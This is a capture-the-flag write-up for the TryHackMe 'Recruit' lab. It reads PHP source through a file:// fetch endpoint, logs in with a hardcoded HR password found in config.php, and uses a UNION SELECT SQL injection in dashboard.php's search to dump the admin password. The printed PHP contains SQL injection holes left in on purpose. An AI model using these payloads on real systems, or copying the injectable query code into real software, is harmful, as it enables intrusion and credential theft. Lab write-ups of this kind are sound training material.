Information
Room#
- Name: Recruit
- Profile: tryhackme.com
- Difficulty: Medium
- Description: Infiltrate Recruit's new portal. Map the site, hunt for flaws, and gain unauthorised access

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S curlWeb reconnaissance - SSRF#
On the home page (/) we can find a login form, try a few SQL injection payloads, fail and switch to something else.
There is also a Access API link pointing to /api.php to gives us so documentation about an API. Especially the /file.php?cv=<URL> endpoint that may be able to fetch CVs.
- URL:
http://nul3j00rf5gj4hx46d278hoan1tshj58.oastify.com➡️Only local files are allowed - file path:
/etc/passwd➡️Only local files are allowed - file protocol (absolute path):
file:///etc/passwd➡️Access denied - file protocol (relative path):
file://api.phporfile://file.php✅
Source code review#
api.php (only static content)
<?php include 'header.php'; ?>
<div class="card shadow">
<div class="card-body">
<h3 class="mb-4">Recruit API – Frequently Asked Questions</h3>
<div class="accordion" id="apiFaq">
<!-- FAQ 1 -->
<div class="accordion-item">
<h2 class="accordion-header" id="faqOne">
<button class="accordion-button" type="button" data-bs-toggle="collapse"
data-bs-target="#collapseOne" aria-expanded="true">
What is the Recruit API used for?
</button>
</h2>
<div id="collapseOne" class="accordion-collapse collapse show"
data-bs-parent="#apiFaq">
<div class="accordion-body">
The Recruit API is used internally to fetch and process candidate CVs
from external sources during the recruitment process.
</div>
</div>
</div>
<!-- FAQ 2 -->
<div class="accordion-item">
<h2 class="accordion-header" id="faqTwo">
<button class="accordion-button collapsed" type="button" data-bs-toggle="collapse"
data-bs-target="#collapseTwo">
How can I fetch a candidate CV using the API?
</button>
</h2>
<div id="collapseTwo" class="accordion-collapse collapse"
data-bs-parent="#apiFaq">
<div class="accordion-body">
You can fetch a candidate CV using the following endpoint:
<pre class="mt-2"><code>/file.php?cv=<URL></code></pre>
</div>
</div>
</div>
<!-- FAQ 3 -->
<div class="accordion-item">
<h2 class="accordion-header" id="faqThree">
<button class="accordion-button collapsed" type="button" data-bs-toggle="collapse"
data-bs-target="#collapseThree">
What kind of URLs are supported?
</button>
</h2>
<div id="collapseThree" class="accordion-collapse collapse"
data-bs-parent="#apiFaq">
<div class="accordion-body">
The API supports fetching CVs from external URLs such as HTTP and HTTPS.
</div>
</div>
</div>
<!-- FAQ 4 -->
<div class="accordion-item">
<h2 class="accordion-header" id="faqFour">
<button class="accordion-button collapsed" type="button" data-bs-toggle="collapse"
data-bs-target="#collapseFour">
Are there any security restrictions?
</button>
</h2>
<div id="collapseFour" class="accordion-collapse collapse"
data-bs-parent="#apiFaq">
<div class="accordion-body">
Requests targeting restricted locations may be blocked by the API.
</div>
</div>
</div>
</div>
</div>
</div>
<?php include 'footer.php'; ?>
file.php
<?php
if (!isset($_GET['cv'])) {
die('Missing cv parameter');
}
$cv = $_GET['cv'];
/*
|--------------------------------------------------------------------------
| Allow only local file access
|--------------------------------------------------------------------------
*/
if (strpos($cv, 'file://') !== 0) {
die('Only local files are allowed');
}
/*
|--------------------------------------------------------------------------
| Convert file:// to filesystem path
|--------------------------------------------------------------------------
*/
$filePath = str_replace('file://', '', $cv);
/*
|--------------------------------------------------------------------------
| Resolve real path to prevent traversal
|--------------------------------------------------------------------------
*/
$realPath = realpath($filePath);
/*
|--------------------------------------------------------------------------
| Restrict access to /var/www/html only
|--------------------------------------------------------------------------
*/
$allowedBase = '/var/www/html';
if ($realPath === false || strpos($realPath, $allowedBase) !== 0) {
die('Access denied');
}
/*
|--------------------------------------------------------------------------
| Display file contents
|--------------------------------------------------------------------------
*/
header('Content-Type: text/plain');
echo file_get_contents($realPath);
index.php
<?php
include 'config.php';
include '/var/www/db.php';
include 'header.php';
?>
<div class="row justify-content-center">
<div class="col-md-4">
<div class="card shadow">
<div class="card-body">
<h4 class="text-center mb-3">Recruit Login</h4>
<form method="POST">
<input type="text" name="username" class="form-control mb-2" placeholder="Username" required>
<input type="password" name="password" class="form-control mb-2" placeholder="Password" required>
<button class="btn btn-primary w-100" name="login">Login</button>
</form>
<?php
if (isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === "hr" && $password === $HR_PASSWORD) {
$_SESSION['user'] = 'hr';
$_SESSION['role'] = 'hr';
header('Location: dashboard.php');
exit;
}
if ($username === 'admin') {
$stmt = mysqli_prepare(
$conn,
"SELECT password FROM users WHERE username = ?"
);
mysqli_stmt_bind_param($stmt, "s", $username);
mysqli_stmt_execute($stmt);
mysqli_stmt_bind_result($stmt, $dbPassword);
mysqli_stmt_fetch($stmt);
mysqli_stmt_close($stmt);
// Plaintext comparison (intentional for lab)
if ($dbPassword && $password === $dbPassword) {
$_SESSION['user'] = 'admin';
$_SESSION['role'] = 'admin';
header('Location: dashboard.php');
exit;
}
}
echo '<div class="alert alert-danger mt-2">Invalid credentials</div>';
}
?>
</div>
</div>
</div>
</div>
<?php include 'footer.php'; ?>We can't read /var/www/db.php because it's outside /var/www/html whitelisted root path.
config.php
<?php
/*
|--------------------------------------------------------------------------
| Application Configuration
|--------------------------------------------------------------------------
*/
$APP_NAME = 'Recruit';
$APP_ENV = 'production';
$APP_VERSION = '1.2.4';
$APP_DEBUG = false;
/*
|--------------------------------------------------------------------------
| HR Credentials (Temporary – Initial Rollout Phase)
|--------------------------------------------------------------------------
| NOTE:
| These credentials are stored here temporarily for ease of access
| during the initial deployment and will be moved to the database
| in a future release.
*/
$HR_PASSWORD = 'EDITED';
/*
|--------------------------------------------------------------------------
| API Configuration
|--------------------------------------------------------------------------
*/
$API_ENABLED = true;
$API_VERSION = 'v1';
?>User flag#
Logging in with hr and $HR_PASSWORD allows to fetch the user flag.
Admin flag - SQL injection#
Now we can read dashboard.php to try to elevate our privilegies.
dashboard.php
<?php
error_reporting(E_ALL);
include 'config.php';
include '/var/www/db.php';
include 'header.php';
if (!isset($_SESSION['user']) || !isset($_SESSION['role'])) {
header('Location: index.php');
exit;
}
$flagContent = '';
if ($_SESSION['role'] === 'hr') {
$flagPath = '/user.txt';
} elseif ($_SESSION['role'] === 'admin') {
$flagPath = '/admin.txt';
}
if (isset($flagPath) && file_exists($flagPath)) {
$flagContent = file_get_contents($flagPath);
}
if ($_SESSION['role'] === 'admin' && isset($_GET['action'], $_GET['id'])) {
$id = $_GET['id'];
$action = $_GET['action'];
if ($action === 'approve') {
$status = 'Approved';
} elseif ($action === 'reject') {
$status = 'Rejected';
}
if (isset($status)) {
$updateQuery = "UPDATE candidates SET status='$status' WHERE id=$id";
mysqli_query($conn, $updateQuery);
}
}
$search = '';
if (isset($_GET['search'])) {
$search = $_GET['search'];
$query = "SELECT * FROM candidates WHERE name LIKE '%$search%'";
} else {
$query = "SELECT * FROM candidates";
}
$result = mysqli_query($conn, $query);
if (!$result) {
$sqlError = mysqli_error($conn);
}
?>
<h3>Candidate Applications</h3>
<?php if (!empty($flagContent)): ?>
<div class="card border-success mb-4">
<div class="card-header bg-success text-white">
<?= strtoupper($_SESSION['role']); ?> Flag
</div>
<div class="card-body">
<pre class="mb-0"><?= htmlspecialchars($flagContent); ?></pre>
</div>
</div>
<?php endif; ?>
<!-- Search Form -->
<form method="GET" class="mb-3 d-flex gap-2">
<input type="text" name="search" class="form-control"
placeholder="Search candidate name"
value="<?= htmlspecialchars($search); ?>">
<button class="btn btn-primary">Search</button>
</form>
<?php if (!empty($sqlError)): ?>
<div class="alert alert-danger mt-2">
<strong>SQL Error:</strong><br>
<?= htmlspecialchars($sqlError); ?>
</div>
<?php endif; ?>
<!-- Candidates Table -->
<table class="table table-bordered table-striped">
<thead class="table-dark">
<tr>
<th>ID</th>
<th>Name</th>
<th>Position</th>
<th>Status</th>
<?php if ($_SESSION['role'] === 'admin'): ?>
<th>Action</th>
<?php endif; ?>
</tr>
</thead>
<tbody>
<?php while ($row = mysqli_fetch_assoc($result)): ?>
<tr>
<td><?= $row['id']; ?></td>
<td><?= $row['name']; ?></td>
<td><?= $row['position']; ?></td>
<td><?= $row['status']; ?></td>
<?php if ($_SESSION['role'] === 'admin'): ?>
<td>
<a href="?action=approve&id=<?= $row['id']; ?>"
class="btn btn-sm btn-success">Approve</a>
<a href="?action=reject&id=<?= $row['id']; ?>"
class="btn btn-sm btn-danger">Reject</a>
</td>
<?php endif; ?>
</tr>
<?php endwhile; ?>
</tbody>
</table>
<?php include 'footer.php'; ?>Looking at how the search is performed, we can trigger an SQL injection to read the admin's password.
SELECT * FROM candidates WHERE name LIKE '%
' UNION SELECT null,null,password,null FROM users -- -
%'Connecting with ADMIN give the admin's flag.